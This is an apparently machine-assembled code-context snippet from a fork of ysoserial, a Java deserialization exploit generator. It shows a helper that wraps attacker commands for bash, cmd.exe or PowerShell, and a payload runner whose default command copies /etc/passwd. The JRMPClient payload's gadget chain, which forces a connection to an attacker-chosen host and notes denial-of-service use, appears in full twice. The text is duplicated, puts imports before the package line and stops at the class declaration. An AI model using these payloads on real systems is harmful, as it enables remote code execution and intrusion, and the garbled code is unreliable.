// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;





/**
 * 
 * 
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 * 
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 * 
 * Requires:
 * - JavaSE
 * 
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 * 
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 * 
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


// Path: src/main/java/ysoserial/payloads/JRMPClient.java
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;

package ysoserial.payloads;





/**
 * 
 * 
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 * 
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 * 
 * Requires:
 * - JavaSE
 * 
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 * 
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 * 
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {